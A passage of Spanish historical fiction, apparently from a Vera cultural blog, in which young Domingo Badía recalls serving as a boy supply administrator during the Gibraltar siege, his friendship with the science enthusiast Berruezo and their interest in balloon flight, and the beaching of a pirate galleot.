punto el lenguaje administrativo puede resultar tedioso a los trece a\u00f1os! Cualquier temblor, cualquier imperceptible vibraci\u00f3n ac\u00fastica, aguzaba mis sentidos lejos de la hoja de papel. Aprend\u00ed a distinguir a los perros de Vera por sus ladridos y a identificar a los carruajes y carretas, por el gemido de los ejes, al remontar el repecho de la calle junto a las ventanas de la escuela.<\/p>\n<p>Don Manuel tambi\u00e9n sufr\u00eda. Era un buen profesor aquel don Manuel. Seco, alto, huesudo.. parec\u00eda desvivirse por sus alumnos que, a\u00f1o tras a\u00f1o, le \u00edbamos dejando en los huesos. Consideraba que yo era uno de sus mejores disc\u00edpulos e intent\u00f3 persuadir a mi padre de que estaba cometiendo un error.<\/p>\n<p>-No quisiera ser descort\u00e9s, don Pedro, pero yo lo calificar\u00eda de desatino.<\/p>\n<p>-\u00bfDesatino, don Manuel? Precisamente porque es despejado y est\u00e1 \u00e1vido de conocimientos ha adelantado tan diligentemente en las otras materias -le repuso mi padre-. Siempre he tenido planes precisos para \u00e9l. La celeridad de sus progresos ha acortado los plazos.<\/p>\n<p>-Comprendo, don Pedro -admiti\u00f3 con tristeza, mi maestro-. Ser hijo de un funcionario en estos reinos es una fatalidad.<\/p>\n<p>De aquellos meses descorazonadoramente aburridos conservo el vivo recuerdo de una irritante y pertinaz inquietud. Un d\u00eda cualquiera mis pies atraviesan un patio de ladrillo rojo. Llego tarde a la escuela. A pesar de ello me detengo junto a la fuente del centro, en la que un cielo intenso y azul se diluye en la claridad del agua y colorea el reflejo afligido de mi rosto, la mano que aferra un libro y el lomo en el que se puede leer: <em>Atlas de geograf\u00eda<\/em>.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/MAPA-MAGREB.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2603\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/MAPA-MAGREB.jpg\" alt=\"\" width=\"720\" height=\"554\" \/><\/a><\/p>\n<p>El libro ha sido el causante de mi retraso. Esa ma\u00f1ana me he entretenido buscando en el Atlas un rosario de lugares en los que transcurre la guerra que franceses y espa\u00f1oles acaban de declarar a los ingleses. Mi dedo \u00edndice sustituye a las escuadras que se buscan, se acechan o se evitan en La Rochelle, Saint-Ciprian, el cabo San Vicente. Pero acaba siempre su recorrido en Gibraltar. \u00daltimamente no se habla de otra cosa en Vera que del enclave de Gibraltar, donde desde finales de junio el general don Mart\u00edn \u00c1lvarez de Sotomayor, veterano de las campa\u00f1as de Italia, Alemania y Portugal, asedia por tierra la plaza con un ej\u00e9rcito de trece mil hombres, en tanto que, por mar, el jefe de escuadra y antiguo corsario don Antonio Barcel\u00f3 bloquea el Estrecho al frente de una divisi\u00f3n de \u00e1giles jabeques. En Vera no se habla de otra cosa, pero en mi casa tambi\u00e9n escucho, a menudo, mencionar el nombre de Dar Bey-da, en las costas atl\u00e1nticas de Marruecos, donde el sult\u00e1n Sayyidi Muhammad ibn &#8216;Abbd-il-lah acaba de abrir un nuevo puerto junto a los campos de trigo de Sawiyya, sobre las ruinas de la derruida Anfa. Desde all\u00ed permite el comercio de grano con Espa\u00f1a a trav\u00e9s de una compa\u00f1\u00eda que se ha creado a tal efecto con fondos del Banco de San Carlos. Mi padre dice que este suministro es vital no s\u00f3lo para paliar las hambrunas que las malas cosechas han provocado en Andaluc\u00eda, sino tambi\u00e9n para para asegurar el avituallamiento de la armada que bloquea el Estrecho y del ej\u00e9rcito que sitia el Pe\u00f1\u00f3n. Desde que si inici\u00f3 el asedio, mi padre colabora en el abastecimiento de estas tropas. A veces por mar y en otras ocasiones por tierra se ocupa de transportar hasta ellas las verduras y frutas frescas, la miel y la cera de Vera en las flamantes seras que le proporciona la f\u00e1brica de esparto.<\/p>\n<p>Sentado en el brocal de la fuente del patio intento dilucidar en qu\u00e9 medida todos estos acontecimientos est\u00e1n afectando mi propio destino. Contemplo con aprensi\u00f3n el reflejo de mi silueta entintada por el azul del cielo explayado en el agua. A mi padre sus nuevas ocupaciones le absorben todo el tiempo y con frecuencia se lamenta de no poder atender los asuntos ordinarios de su jurisdicci\u00f3n. En el tono de sus quejas percibo una oculta amenaza, la misma que me sobrecoge al reparar en mi cuerpo revestido de azul, sobre las aguas claras de la fuente.<\/p>\n<p>Cuando prosigo hasta la puerta del aula y penetro en ella, el maestro dirige la recitaci\u00f3n de un poema de Garcilaso. Me mira tristemente y nada dice. Yo balbuceo una disculpa por mi retraso, corro a mi mesa y abro, como todos, la <em>Antolog\u00eda de prosa y verso de los autores m\u00e1s famosos de lengua castellana. <\/em>Busco las p\u00e1ginas dedicadas a Garcilaso.<\/p>\n<p>-Usted no, Bad\u00eda. Ya conoce las instrucciones de su padre. Le he preparado un ejercicio particular. Va a redactar un memorial sobre la contribuci\u00f3n de paja y utensilios.<\/p>\n<p>Clav\u00e9 los ojos, con resentimiento, en el gusto regio que presid\u00eda la estancia y le\u00ed una d\u00eda m\u00e1s la inexplicable divisa inscrita en su peana: <em>Por el Padre verdadero de la patria y bien de ella.<\/em><\/p>\n<p>A las pocas semanas cambi\u00e9 de uniforme. Me despojaron de la medalla y la cinta verde de la escuela de latinidad. Me entregaron una casaca azul de pa\u00f1o, ce\u00f1ida al cuerpo con faldones; un calz\u00f3n, tambi\u00e9n azul, que se reun\u00eda, por debajo de la rodilla, con unas polainas de lienzo que, a su vez, se hund\u00edan en unos zapatos negros con hebilla prendida de lat\u00f3n dorado. Culminaba aquel disfraz un tricornio demasiado holgado que mal se sujetaba sobre la coleta encintada y la frente y, al menor descuido, resbalaba sobre los ojos hasta situar la escarapela roja a la altura de la nariz.<\/p>\n<p>Vestido de este guisa jur\u00e9 mi cargo ante el real busto. Las recientes Ordenanzas del rey Carlos III hab\u00edan rebajado la edad de ingreso en el ej\u00e9rcito para los hijos de oficiales hasta los doce a\u00f1os. Yo acababa de cumplir catorce y mi padre hab\u00eda logrado de su majestad que me nombrara administrador de utensilios de la costa de Granada.<\/p>\n<p><u><strong>BERRUEZO<\/strong><\/u><\/p>\n<p>Acud\u00eda al escritorio cuando a\u00fan perduraba en \u00e9l la oscuridad de la noche. A trav\u00e9s de la ventana entornada se divisaba una calle desierta, enlucida d\u00e9bilmente por una claridad imprecisa, todav\u00eda remota. Por exigencia de mi padre hab\u00eda de ser el primero en llegar. Al cabo de unos minutos, que transcurr\u00edan silenciosos y enigm\u00e1ticos, se levantaban los dos mozos que dorm\u00edan enel almac\u00e9n contiguo y los o\u00eda resoplar al zambullir el rostro en el agua fr\u00eda de la jofaina. Se habr\u00eda la puerta y resonaba en la estancia el tic-tac de los pasos del escribiente, que se escurr\u00eda hasta hasta su mesa y hund\u00eda las manos amarillas en un revolotear de papeles, con la cara arrugada y henchida por una so\u00f1olienta concentraci\u00f3n.<\/p>\n<p>Repicaban las campanas de la iglesia de Nuestra Se\u00f1ora de la Encarnaci\u00f3n y las del convento de los M\u00ednimos en la luz recrecida que empezaba a ensanchar la calle. En alguna parte respond\u00eda un martillo percutiendo en un yunque, una llave tosca franqueaba la puerta de cuarterones de la taberna y la fragancia mestiza de la tienda de especier\u00eda se mezclaba al bullicio s\u00fabito de los cenacheros [*cenacho: Espuerta o <em>capazo<\/em>; en especial, el usado para transportar frutas o verduras. Mar\u00eda Moliner] que voceaban el pescado fresco y de los muchachos que marchaban ruidosamente, sin m\u00ed, a la escuela.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2499\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/5.jpg\" alt=\"\" width=\"457\" height=\"439\" \/><\/a><\/p>\n<p>A veces un rostro cauteloso se asomaba a la puerta entreabierta del escritorio y un par de ojos peque\u00f1os y astutos se encend\u00edan maliciosamente, tras examinarme y comprobar que era s\u00f3lo un ni\u00f1o.<\/p>\n<p>-\u00bfDa usted su permiso, se\u00f1or administrador?<\/p>\n<p>A pesar de que ten\u00eda que encaramarme sobre un par de gruesos cojines para alcanzar a servirme confortablemente de la mesa de despacho, el cargo me exig\u00eda desempe\u00f1ar, simult\u00e1neamente, las tareas de un recaudados de impuestos y las de un intendente militar. Con anterioridad al establecimiento de la contribuci\u00f3n de la paja y utensilios era obligaci\u00f3n de los pueblos por donde pasaban las tropas albergar a los soldados y proveerlos de paja, luz, le\u00f1a, aceite, vinagre, sal y pimienta, adem\u00e1s de una sima de dinero para los oficiales. Para evitar los abusos que se perpetraban al distribuir esta carga entre los vecinos, se reemplaz\u00f3 la exigencia de alojamiento por un tributo, que los intendentes nos ocup\u00e1bamos de cobrar y emple\u00e1bamos para el socorro de las tropas.<\/p>\n<p>Cada d\u00eda anotaba en un cuaderno, naturalmente bajo la rigurosa custodia e inspecci\u00f3n de mi padre, los ingresos obtenidos y los libramientos para surtir de v\u00edveres y otros utensilios a las fuerzas de la guarnici\u00f3n y a las numerosas unidades militares que pernoctaban en la ciudad, en ruta para incorporarse al asedio de Gibraltar.<\/p>\n<p>Pero no siempre pod\u00eda ampararme bajo la protecci\u00f3n de mi padre. Sus obligaciones le compromet\u00edan a viajar constantemente. Por entonces le compromet\u00edan a viajar constantemente. Por entonces se empez\u00f3 a ocupar del aprovisionamiento de los presidios del norte de \u00c1frica. En tales ocasiones me ve\u00eda obligado a afrontar sin su tutela los ardides de los proveedores del ej\u00e9rcito o las reclamaciones de los oficiales. Ten\u00eda que verme las caras con gentes recias y bregadas y, como la m\u00eda era a\u00fan barbilampi\u00f1a, a menudo excitaba su astucia o su arrogancia.<\/p>\n<p>De esta manera abrupta concluy\u00f3 mi infancia. Conoc\u00ed el rostro menos heroico de la guerra, pero no el menos osado, el de aquellos que transforman el sufrimiento en un negocio o en un privilegio. Reconoc\u00ed tambi\u00e9n en el semblante de mi propio padre, la incongruencia y la impotencia de las gentes bienintencionadas y comprometidas con la reforma racional y minuciosa del hombre y del Estado. Yo mismo, escogido en agraz para un empleo que exig\u00eda un car\u00e1cter formado, era un ejemplo de aquel proceder que desnaturalizaba la renovaci\u00f3n emprendida en la administraci\u00f3n de los asuntos p\u00fablicos a la que tantas veces le hab\u00eda o\u00eddo exaltar en las reuniones de la Sociedad Patri\u00f3tica de Vera [*DEMERSON, Paula y Jorge. <em>La Sociedad Patri\u00f3tica de la Ciudad de Vera y su Jurisdicci\u00f3n (1775-1808)<\/em>].<\/p>\n<p>Lejos de sentirme favorecido por aquella prebenda me present\u00eda su prisionero. Era demasiado joven para no repudiar lo que ten\u00eda de horma que pretend\u00eda moldear para siempre la trayectoria de mi vida.<\/p>\n<p>Es cierto, por otra parte, que percib\u00ed de inmediato la voluptuosidad del desaf\u00edo, aunque sufr\u00eda y me hallaba desorientado. A la vuelta de sus viajes, mi padre me reprend\u00eda por igual por mi rigor y por mi debilidad. No exist\u00edan reglas o, mejor dicho, siempre exist\u00edan excepcioes a todas las reglas y el oficio impon\u00eda aprender a advertirlas y considerarlas. Las numerosas ordenanzas con las que nos agobiaba el gobierno desde Madrid se petrificaban bajo el polvo en los anaqueles del despacho y se rehac\u00edan en el t rato diario, a menudo al calor de una recomendaci\u00f3n o de un apellido.<\/p>\n<p>Descubr\u00ed un aliado en el asombro que suscitaban mis pocos a\u00f1os. La ambici\u00f3n o la avidez se despojaban de sus usuales precauciones. Ning\u00fan adulto sustenta una opini\u00f3n tan modesta de s\u00ed mismo que alcance a concebir que alguna vez pueda ser burlado por un chiquillo. Mis peque\u00f1as victorias me granjearon el escaso respeto que se precisa para ejercer un cargo amparado por el poder.<\/p>\n<p>Como nada se esperaba de m\u00ed, los indicios de ingenio, la aplicaci\u00f3n o competencia que evidenciaba, se agigantaron en la imaginaci\u00f3n de los miembros de la Sociedad Patri\u00f3tica de Vera. Aquellos que se hab\u00edan escandalizado con mi nombramiento, se felicitaron del acierto de la labor educativa emprendida por la Sociedad, que permit\u00eda recolectar, tan precozmente, la primicia de una nueva generaci\u00f3n m\u00e1s instruida y preparada.<\/p>\n<p>Me franquearon el paso a sus tertulias en las que mi opini\u00f3n empez\u00f3 a ser escuchada con complacida benevolencia. Mi car\u00e1cter, a\u00fan informe y fr\u00e1gil, sufri\u00f3 el duro acoso de los elgoios desmedidos. Reconozco, todav\u00eda hoy, despu\u00e9s de tantos a\u00f1os, el rastro de aquel triunfo f\u00e1cil y precoz en esos accesos de vanidad de los que jam\u00e1s he logrado desprenderme del todo y que me han hecho sufrir despojando a mi vida, en muchos momentos, de su realidad cierta y leg\u00edtima. La realidad. \u00a1C\u00f3mo he deseado siempre percibir su presencia escueta, apreciar su peso exacto!<\/p>\n<p>Pero acallada la voz interior, la verdadera, la del ni\u00f1o que era a\u00fan, quien parloteaba ante aquellos caballeros embelesados era un presuntuoso charlat\u00e1n que contemplaba el mundo con los ojos ajenos de los oficiales de paso por la ciudad y repet\u00eda, enreves\u00e1ndolas, sus opiniones sobre los m\u00e1s variados temas y las noticias sobre las vicisitudes de la guerra que ten\u00eda ocasi\u00f3n de escuchar durante las horas de despacho. Si no sucumb\u00ed por entero a la infatuaci\u00f3n fue gracias a un portazo.<\/p>\n<p>Se serv\u00eda un refresco en casa de don Manuel Cort\u00e9s del \u00c1guila [*no fue vecino de Vera] y yo disertaba, de o\u00eddas, sobre las bater\u00edas flotantes inventadas por el almirante Barcel\u00f3 para bombardear la plaza. Elogi\u00e9 su eficacia y conclu\u00ed asegurando que los ingleses se ver\u00edan forzados a capitular en cuesti\u00f3n de d\u00edas, tal como mis interlocutores deseaban escuchar.<\/p>\n<p>-No lo creo -afirm\u00f3 con voz vehemente pero amistosa, un rostro feo y descuidado, deformado por una peluca mal colocada que invad\u00eda la ancha frente y pugnaba con las cejas hirsutas, al que un cuello robusto como el de un todo parec\u00eda dotar de un torrente de energ\u00eda-. Todos sabemos que el almirante Rodney ha logrado burlar el bloqueo tras vencer a la escuadra de L\u00e1ngara y ha abastecido de v\u00edveres, municiones y tropas a la guarnici\u00f3n. Nos derrota la ciencia, se\u00f1ores. \u00bfQu\u00e9 podemos oponer a la ciencia n\u00e1utica inglesa? Tan s\u00f3lo unas cuantas barcas artilladas construidas con los cascos de nav\u00edos viejos arrumbados en los ca\u00f1os del Trocadero.<\/p>\n<p>Cuando se levant\u00f3 y se march\u00f3, su portazo desmoron\u00f3 mi ilusoria seguridad en m\u00ed mismo y me devolvi\u00f3 al que realmente era: un muchacho perplejo, rebosante de inter\u00e9s y curiosidad por la vida.<\/p>\n<p>De entre todos aquellos hombres, mucho mayores que yo, que jaleaban mis logros, s\u00f3lo con Berruezo [*Burruezo. El apellido Burruezo a\u00fan no se hab\u00eda convertido en &#8216;Berruezo&#8217;] anudar\u00eda una amistad estrecha. Se cre\u00f3 entre nosotros uno de esos v\u00ednculos que, a veces, aten\u00faan la distancia entre los viejos y los j\u00f3venes. Berruezo ve\u00eda en m\u00ed a la persona capaz de llevar a cabo todo lo que \u00e9l no hab\u00eda podido realizar. Pose\u00eda un coraz\u00f3n noble y una inteligencia apasionada, aunque mediocre, dominada por unas pocas y primarias ideas, que se resum\u00edan en una confianza ciega en la ciencia. Una febril curiosidad le acomet\u00eda y orientaba su atenci\u00f3n por entero, desde aquel lugar apartad\u00edsimo en la costa meridional de Espa\u00f1a, hacia los hallazgos cient\u00edficos de la \u00e9poca, el descubrimiento de la composici\u00f3n del aire y del agua, las primeras aeronaves, las aplicaciones sorprendentes de la electricidad y del vapor y los avances de la medicina.<\/p>\n<p>Hombre sencillo, agobiado por una dolorosa conciencia de sus limitaciones, lamentaba no haber podido adquirir en su juventud los conocimientos precisos que le hubieran permitido asimilar unos logros que, por ignorancia de las nociones elementales de las matem\u00e1ticas y de la f\u00edsica, continuaban siendo para \u00e9l un misterio. Pero su frustraci\u00f3n no le imped\u00eda exaltarse con todo aquello que no lograba comprender.<\/p>\n<p>Su casa de Vera [*calle de las Pinaras o Reducto de la Paz] era un centro de reuni\u00f3n para quienes como \u00e9l so\u00f1aban con las ilimitadas posibilidades de la ciencia. A la ca\u00edda de la tarde, a la luz de los candelabros, se interpretaban, con m\u00e1s fervor que discernimiento, las primicias cient\u00edficas que publicaban <em>La Gaceta de Madrid <\/em>y <em>El Mercurio<\/em> y las novedades que inclu\u00edan las revistas extranjeras, que tra\u00edan desde C\u00e1diz los barcos de cabotaje.<\/p>\n<p>Las discusiones se prolongaban hasta la hora de la cena. Cuando el reloj daba las diez asomaba por la puerta del sal\u00f3n la cabecilla morena y rizada de su hija. Nos miraba con ojos muy grandes y vivaces, sonre\u00eda y musitaba muy bajito, pero con retint\u00edn:<\/p>\n<p>-Se\u00f1ores\u2026<\/p>\n<p>Los contertulios se levantaban como movidos por un resorte y se desped\u00edan hasta el d\u00eda siguiente. Berruezo me reten\u00eda.<\/p>\n<p>-T\u00fa no, Domingo. Qu\u00e9date un ratito m\u00e1s con nosotros.<\/p>\n<p>Me tomaba por el brazo y me conduc\u00eda a la habitaci\u00f3n de al lado, donde hab\u00eda reunido algunos buenos libros.<\/p>\n<p>-\u00bfVerdad que te has dado cuenta de que s\u00f3lo decimos disparates? Tienes que disculparnos. Somos v\u00edctimas de una educaci\u00f3n p\u00e9sima. Nos dejamos llevar por la imaginaci\u00f3n para compensar nuestra ignorancia del funcionamiento de la naturaleza. No quiero que te ocurra lo mismo. Todas estas obras est\u00e1n a tu disposici\u00f3n. Te confieso que yo no alcanzo a sacar provecho de ellas. O, mejor dicho, ellas no consiguen sacar provecho de m\u00ed.<\/p>\n<p>Su biblioteca me permiti\u00f3 instruirme en \u00e1lgebra, geometr\u00eda, f\u00edsica y qu\u00edmica, pero para mi formaci\u00f3n fue \u00e1un m\u00e1s determinante su llaneza. Me conmov\u00eda que aquel hombre de curiosidad universal fuera capaz de declarar sin ambages su universal ignorancia. Cuando admit\u00eda, con tanta tristeza como sinceridad, que no llegaba a discernir los principios que gobiernan la electricidad o la aerostaci\u00f3n, me obligaba a explicarme a m\u00ed mismo aquellos fen\u00f3menos. Su franqueza me condujo a adoptar el m\u00e9todo cient\u00edfico.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/globo-charles.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2604\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/globo-charles.jpg\" alt=\"\" width=\"540\" height=\"681\" \/><\/a><\/p>\n<p>Juntos nos maravillamos, como Europa entera, con la noticia de la primera ascensi\u00f3n de un globo. En Anmonay, los hermanos Joseph y \u00c9tienne Montgolfier consiguieron elevarse con su invento en la atm\u00f3sfera, r\u00e1pidamente y a gran altura. Quien no haya vivido estos primeros momentos de la aerostaci\u00f3n, dif\u00edcilmente podr\u00e1 concebir el optimismo con que fue recibido el cumplimiento de tan antiguo anhelo y el af\u00e1n de emulaci\u00f3n que provoc\u00f3 en muchos de nosotros.<\/p>\n<p>En la tertulia de la casa de Berruezo le\u00edmos las brillantes y minuciosas rese\u00f1as de la experiencia que no iban acompa\u00f1adas de grabado alguno.<\/p>\n<p>-\u00a1Ni\u00f1a!\u00a1Mar\u00eda Luisa! Trae un par de botellas del mejor vino para celebrarlo -orden\u00f3 Berruezo a su hija-. \u00bfQu\u00e9 aspecto presentar\u00e1 el artefacto? Yo lo imagino como una nube.<\/p>\n<p>Como me riera, me mir\u00f3 ofendido.<\/p>\n<p>-\u00a1Maldita sea! No he entendido una palabra, \u00bfverdad? Me gustar\u00eda que el caballerete Bad\u00eda se apiadara de m\u00ed y me explicara c\u00f3mo un aparato cargado con dos cuerpos juncales puede levantarse del suelo por sus propios medios.<\/p>\n<p>-Fijaos en el humo que se desprende de las velas -respond\u00ed, se\u00f1alando un candelabro-. \u00a1Con qu\u00e9 ligereza asciende en el aire! Si consigui\u00e9ramos apresar una cantidad suficiente en una envoltura liviana, el conjunto deber\u00eda asimismo elevarse.<\/p>\n<p>-Parece sencillo -admiti\u00f3 Berruezo, sorprendido-. Pero \u00bfc\u00f3mo componer una envoltura tan sutil?<\/p>\n<p>-Los Montgolfier disponen, gracias a la f\u00e1brica de papel de su padre, de los medios adecuados para construir globos de este material. Pero al realizar los primeros ensayos con globos diminutos comprobaron que, tras elevarse, descend\u00edan al suelo aunque el humo fr\u00edo no se desvanec\u00eda en su interior.<\/p>\n<p>-\u00bfC\u00f3mo es posible? Contradice lo que me has explicado.<\/p>\n<p>-Ciertamente. Por eso dedujeron que lo que ocasionaba la ascensi\u00f3n no era el humo, sino el aire caliente. Colocaron, entonces, un hornillo en la parte inferior del globo, alimentado con paja h\u00fameda o lanas encendidas, para prolongar la duraci\u00f3n del fuego y, en consecuencia, la del vuelo.<\/p>\n<p>-\u00a1B\u00e1rbara, Celaren, Darii y Ferro! \u00bfDe qu\u00e9 sirven los silogismos ante una inteligencia pr\u00e1ctica? \u00a1Es sencill\u00edsimo, Domingo! Reconoce que la idea es sencill\u00edsima, Domingillo. Sobre todo una vez entendida. No como la metaf\u00edsica, que cuanto m\u00e1s se penetra en ella se torna m\u00e1s abstrusa, hipot\u00e9tica y quim\u00e9rica. \u00a1Ni\u00f1a! \u00a1Mar\u00eda Luisa! \u00a1Venga cuanto antes ese vino! Y \u00fanete a nosotros para compartir con la humanidad un gran triunfo y con tu padre el d\u00eda se\u00f1alado en el que al fin logr\u00f3 comprender una explicaci\u00f3n cient\u00edfica. Ay, Dominguillo m\u00edo, gracias por revelarme la simplicidad de la naturaleza.<\/p>\n<p>Cuando al a\u00f1o siguiente, el franc\u00e9s Bouche sufri\u00f3 graves quemaduras al intentar la primera ascensi\u00f3n en Espa\u00f1a, en los jardines de Aranjuez, Berruezo se present\u00f3 en mi despacho demacrado, agitando el ejemplar de la <em>Gaceta<\/em> que refer\u00eda la noticia.<\/p>\n<p>-Domingo, dime la verdad. \u00bfEst\u00e1s completamente seguro de que la teor\u00eda que me ense\u00f1aste es cierta?<\/p>\n<p>-Totalmente.<\/p>\n<p>-Yo soy un hombre de honor. \u00a1La he repetido tantas veces! No quisiera haber contribuido al oscurantismo y la superstici\u00f3n propagando una sarta de sandeces. Dime qu\u00e9 le ha podido ocurrir al franc\u00e9s. \u00bfPor qu\u00e9 el globo no ha subido?<\/p>\n<p>-A causa de un desgraciado accidente. En el momento del despegue, los operarios se olvidaron de cortar una de las cuerdas que reten\u00edan el globo por su parte superior y el ingenio se revolvi\u00f3, gir\u00f3 sobre s\u00ed mismo y acab\u00f3 envuelto en llamas.<\/p>\n<p>-Entonces, \u00bfest\u00e1s dispuesto a jurar por tu honor que la teor\u00eda es totalmente cierta?<\/p>\n<p>Le jur\u00e9 que, alg\u00fan d\u00eda, construir\u00edamos juntos un globo para demostr\u00e1rselo.<\/p>\n<p>No es extra\u00f1o que ambos nos apasion\u00e1ramos por la ciencia de la aerostaci\u00f3n que nos distancia de la tierra y nos proporciona una perspectiva m\u00e1s amplia del mundo en el que vivimos, como si lo contempl\u00e1ramos por primera vez. Es una curiosa visi\u00f3n. Todo ocurre, el mundo existe al margen de la conciencia del hombre que sobrevuela sobre \u00e9l como un p\u00e1jaro.<\/p>\n<p>A veces el tiempo nos provee de una perspectiva similar. A veces los recuerdos se funden en una imagen \u00fanica, simult\u00e1nea, panor\u00e1mica en la que el pasado se revela globalmente en un instante. El recuerdo, bajo mis p\u00e1rpados cerrados, sobrevuela en este momento las calles de Vera, el estupor blanco de los muros hostigados por un sol implacable y el polvo reseco e indolente que, sorprendido entre las grietas del pavimento por un viento imprevisto, flota furioso en el aire.<\/p>\n<p>Nadie hay en la calle. Pero en esa atm\u00f3sfera turbia, exasperada, puedo reconocer la amargura de aquellos tiempos desolados en los que los hombres volvieron a inmovilizarse, mano sobre mano, las mujeres regresaron a pedir de puerta en puerta, las viejas enlutadas suspiraron de nuevo en los zaguanes y los <strong>ni\u00f1os, como hipnotizados, casi no se dieron cuenta de que hab\u00edan perdido la dicha y se deleitaban con juegos cada vez m\u00e1s crueles<\/strong>. Pocos d\u00edas antes una real c\u00e9lula prohibi\u00f3 embarcar esparto en rama fuera de los reinos a dominios extranjeros. El decreto aniquil\u00f3 de un plumazo el esfuerzo realizado a lo largo de siete a\u00f1os por la Sociedad Patri\u00f3tica, porque carec\u00eda de recursos para transformar el fascal en productos elaborados que eran los \u00fanicos que se pod\u00edan exportar.<\/p>\n<p>Coincidi\u00f3 con el fin de la guerra. No se obtuvo Gibraltar, pero s\u00ed Menorca que estaba en manos inglesas desde la guerra de Sucesi\u00f3n. Se firm\u00f3 un tratado en Versalles claramente favorable. Las trece colonias norteamericanas obten\u00edan la independencia y los ingleses s\u00f3lo reten\u00edan Canad\u00e1. Espa\u00f1a extend\u00eda sus dominios hasta Florida y se consolidaba en Arizona, Colorado y California, reserv\u00e1ndose adem\u00e1s los derechos de navegaci\u00f3n del Mississippi. Se inici\u00f3 uno de esos raros per\u00edodos de paz de nuestra historia que resultan tan inquietantes porque revelan a los hombres que para vivir en calma y con sosiego hay que tomarse casi tanto trabajo como para conquistar el mundo.<\/p>\n<p>Vera dej\u00f3 de sobresaltarse al paso de las tropas que durante aquellos a\u00f1os cruzaron la ciudad. El despacho apenas me daba quehacer. Ocupaba mi tiempo en devorar los libros que Berruezo pon\u00eda a mi disposici\u00f3n. Poco a poco iba reuniendo algunas acotaciones con la secreta esperanza de poder cumplir mi promesa de construir el globo. Ve\u00eda raramente a mi padre, ocupado en sus tratos con los presidios norteafricanos. Cuando regresaba a Vera algunas veces le sorprend\u00ed detr\u00e1s de m\u00ed, leyendo por encima de mi hombro las anotaciones con el ce\u00f1o ensombrecido por la preocupaci\u00f3n, la desdicha o el menosprecio, a punto de arrebatarme la pluma de la mano.<\/p>\n<p>-\u00a1Castillos en el aire! \u00a1No pareces hijo m\u00edo entregado a esas quimeras!<\/p>\n<p>-\u00bfPues de qui\u00e9n si no?<\/p>\n<p>-De una mala ventolera.<\/p>\n<p>Di en pensar, por despecho, que hab\u00eda dejado de ser mi padre, para convertirse en mi jefe. Berruezo compensaba con creces aquella p\u00e9rdida. Entre nosotros se hab\u00eda establecido una sociedad \u00edntima. Su admiraci\u00f3n me envolv\u00eda como un lecho tibio y protector donde so\u00f1ar, turbado en ocasiones por la presencia tenue, casi impalpable, pero obsesiva, de su hija Mar\u00eda Luisa.<\/p>\n<p>-\u00a1Ni\u00f1aaa! Mar\u00eda Luisa, hija, saca la botella que t\u00fa sabes. Que algo bueno tenemos que celebrar. \u00a1Han ascendido a Domingo!<\/p>\n<p>En <strong>1786<\/strong> mi padre fue nombrado oficial del Fondo p\u00edo-beneficial y destinado a Madrid. El papa P\u00edo V acababa de otorgar al rey Carlos III la facultad de disponer de la tercera parte de las prebendas y beneficios eclesi\u00e1sticos para emplearlos en la asistencia p\u00fablica. En consecuencia, se fund\u00f3 un organismo para recaudar, administrar y distribuir estos bienes dirigido por el colector general de expolios y vacantes del reino.<\/p>\n<p>-\u00bfDe expolios y vacantes, dices? \u00a1Curioso cargo el del nuevo jefe de tu padre! Pero, mira, por lo pronto te han adjudicado a ti su vacante en Vera.<\/p>\n<p>Suced\u00ed a mi padre como contador de guerra con honores de comisario. Ten\u00eda diecinueve a\u00f1os y una cierta aversi\u00f3n a seguir sus pasos.<\/p>\n<p><u><strong>LA GALEOTA NEGRA<\/strong><\/u><\/p>\n<p>Al poco de mi nombramiento una vieja galeota negra embarranc\u00f3 en la playa aleda\u00f1a de la Granatilla [*en el Archivo Municipal de Vera hay una noticia de 1796 sobre el embarrancamiento del jabeque Nuestra Se\u00f1ora del Rosario producido por un barco ingl\u00e9s contrabandista (doc. 1413-23)]. Los torreros de las atalayas de los Diablos y de Macenas dieron el rebato con lumbres y ahumadas y corrieron a refugiarse en Vera. Los piratas, en cuanto echaron pie a tierra, se intrincaron monte arriba por las torrenteras que descienden desde la Sierra Cabrera hasta la ribera del mar. Luego se embre\u00f1aron en alguno de los veintisiete barrancos por los que se despe\u00f1a la sierra contigua de Almagrera, cuyas veredas titubean junto al abismo sobre un suelo de yeso moreno y flojo y se truncan frente a los altos picachos entreverados de alabastro m\u00e1rmol jaspeado.<\/p>\n<p>Las tropas que salieron en su persecuci\u00f3n regresaron tres d\u00edas despu\u00e9s con los uniformes desgarrados por el acoso de las zarzas y con las manos en carne viva desolladas por los pe\u00f1ascos. Al pasar ante la iglesia arrojaron con despecho un atadijo de ropas musulmanas a los pies de una mendiga que ped\u00eda en el atrio.<\/p>\n<p>La vieja husme\u00f3 en el mont\u00f3n como un perro y alz\u00f3 un pico de pa\u00f1o hasta el rostro.<\/p>\n<p>-Huele a mar y a sudor, pero no hay rastros de sangre. \u00bfQu\u00e9 fue de los cuerpos?<\/p>\n<p>-Mal fue la caza, madre -respondi\u00f3 el \u00faltimo de los soldados que pasaban-. S\u00f3lo hallamos presas sin carne.<\/p>\n<p>-Dios no me perdonar\u00eda aceptar limosna que no est\u00e1 purificada. Ser\u00e1 mejor que el cura queme los ropajes. Despojadas est\u00e1n las telas de cuerpos, pero el hedor del alma persiste. Apestan a infiel.<\/p>\n<p>La columna prosigui\u00f3 por la calle empedrada. Al llegar a la altura de mi despacho, el oficial que la mandaba me vio parado a la puerta, dio orden de alto y se aproxim\u00f3 a m\u00ed sin descabalgar.<\/p>\n<p>-\u00bfC\u00f3mo fue el lance? -pregunt\u00e9.<\/p>\n<p>-Dice bien la vieja, comisario. El hedor a renegado no se desvanece as\u00ed como as\u00ed -afirm\u00f3 el oficial, con la voz quebrada por la fatiga-. La treta confundi\u00f3 a Juan Fuente, el <em>Esta\u00f1ador<\/em> empez\u00f3 a murmurar. 